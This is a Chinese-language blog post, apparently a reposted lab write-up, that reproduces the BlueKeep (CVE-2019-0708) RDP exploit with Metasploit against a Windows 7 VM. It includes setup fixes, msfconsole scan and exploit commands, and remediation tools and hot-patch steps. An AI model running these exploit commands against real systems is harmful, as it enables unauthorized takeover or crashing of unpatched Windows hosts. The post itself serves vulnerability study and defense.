cve-2019-0708 exp 漏洞复现(bluekeep rce)

                                            **cve-2019-0708 exp 漏洞复现

**0x00 前言

昨晚漏洞cve-2019-0708,又叫bluekeep的rce在rapid7的metasploit-framework发布,早上起来开始复现
在这里插入图片描述
0x01 一些坑

我用的msf 4.11升级的msf5
升级命令为
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && ./msfinstall
接下来一堆问题,需要替换4个文件
https://pan.baidu.com/s/1q-mbYQFtU1GBuJfThMk8VQ 提取码: mffr
我按照要求下载文件并加载
cve_2019_0708_bluekeep_rce.rb
目录
/opt/metasploit-framework/embedded/framework/modules/exploits/windows/rdp 没有rdp目录 请新建一个目录mkdir rdp
然后reload_all
其他还需要替换3个文件
rdp.rb 替换 /opt/metasploit-framework/embedded/framework/lib/msf/core/exploit/rdp.rb
rdp_scanner.rb 替换 /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
cve_2019_0708_bluekeep.rb
替换/opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
-----------------------必须替换好不然会出现意想不到的错误--------------------------------------------------------
错误如下
rdp.rb没替换
Exploit failed: NameError undefined local variable or method `rdp_connect’ for #Msf::Modules::Exploit__Windows__Rdp__Cve_2019_0708_bluekeep_rce::MetasploitModule:0x0000000010327d40
Did you mean? Disconnect
会出现这个错误
rdp_scanner.rb
没替换 扫不出来
cve_2019_0708_bluekeep.rb 没替换 扫不出来
安装win7 sp1 关闭防火墙和开启3389
下载地址
Windows7 SP1下载链接:ed2k://|file|cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso|3420557312|B58548681854236C7939003B583A8078|/
0x02 开始复现

一切就绪,就开始复现了
基本命令还是说下吧
msfconsole
search cve_2019_0708
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
show options
set RHOSTS 192.168.199.238
exploit
存在就继续
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS 192.168.199.238
set target 3 因为我用的vmware的演示的
exploit
在这里插入图片描述小贴士:window server 2008的话必须 HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0 不过fDisableCam默认值为1
另外很多朋友反应 打蓝屏了 5次成功1次
0x03 修复建议:

window检测工具和下载链接
https://free.360totalsecurity.com/CVE-2019-0708/detector_release.zip
360Vulcan Team发布的0708detector.exe程序是Windows远程桌面协议漏洞的检测程序,编号为CVE-2019-0708。原则上,扫描仪不会在目标系统上造成蓝屏死机。无论如何,请在使用前进行测试。
目前,该程序仅支持扫描单个IP
注意:
使用前,请确保在合法授权下扫描目标系统;
使用前,请确保测试程序的数字签名合法;
由于网络问题,该程序可能不成功;
用法
打开“运行”程序并输入“cmd.exe”,然后按“回车”运行
跳转到程序所在的目录,例如,转到E盘中的“E:\360poc\detector_release”目录
在cmd.exe窗口中,输入程序的参数。
E:\360poc\detector_release> 0708detector.exe -t 192.168.91.138(要测试的目标IP)-p 3389(目标端口,通常为3389)

CVE-2019-0708window批量检测工具
https://github.com/k8gege/CVE-2019-0708
修复建议和工具
“奇安信CVE-2019-0708漏洞热补丁工具”是奇安信公司针对“Windows远程桌面服务的远程代码执行漏洞CVE-2019-0708”推出的一款热补丁工具。该工具能够针对系统环境无法打软件官网补丁或暂时无法重启的系统环境进行热补丁加固。
使用说明
下载页面:
https://www.qianxin.com/other/CVE-2019-0708
使用说明:
1、 下载文件进行解压。
2、 使用win+R快捷键或开始菜单选择“运行”,输入cmd。调起命令行工具。
3、 在命令行工具,执行命令到工具所在文件夹
4、 输入命令对应功能,启用热补丁命令:QKShield.exe /enable ;禁用热补丁命令:QKShield.exe/disable 。
5、 重启系统后,需要重新运行命令行来启用热补丁
实现效果:
在工具支持的系统中启用热补丁后,用漏洞扫描工具扫描结果为没有漏洞。漏洞扫描工具下载地址:https://www.qianxin.com/other/CVE-2019-0708
支持系统:
Windows XP for 32-bit Systems Service Pack 3
Windows 7 for 32-bit Systems
Windows 7 for x64-based Systems
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2003 for 32-bit Systems Service Pack 2
Windows Server 2003 R2 for 32-bit Systems Service Pack2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack2
Windows Server 2008 for x64-based Systems Service Pack2 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems ServicePack 1
Windows Server 2008 R2 for x64-based Systems ServicePack 1 (Server Core installation)
暂不支持的系统:
Windows Server 2003 for x64-based Systems Service Pack2
Windows Server 2008 for Itanium-Based Systems ServicePack 2
Windows Server 2008 R2 for Itanium-Based SystemsService Pack 1
0x04 参考链接:

https://qiita.com/shimizukawasaki/items/024b296a4c9ae7c33961
https://github.com/rapid7/metasploit-framework/pull/12283/files
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0708#ID0EWIAC
https://blogs.technet.microsoft.com/msrc/2019/05/14/prevent-a-worm-by-updating-remote-desktop-services-cve-2019-0708/
https://www.qianxin.com/other/CVE-2019-0708
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0708#ID0EWIAC
https://github.com/busterb/metasploit-framework/blob/bluekeep/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb**

发布了6 篇原创文章 · 获赞 0 · 访问量 1362

猜你喜欢

转载自blog.csdn.net/qq_39541626/article/details/100597146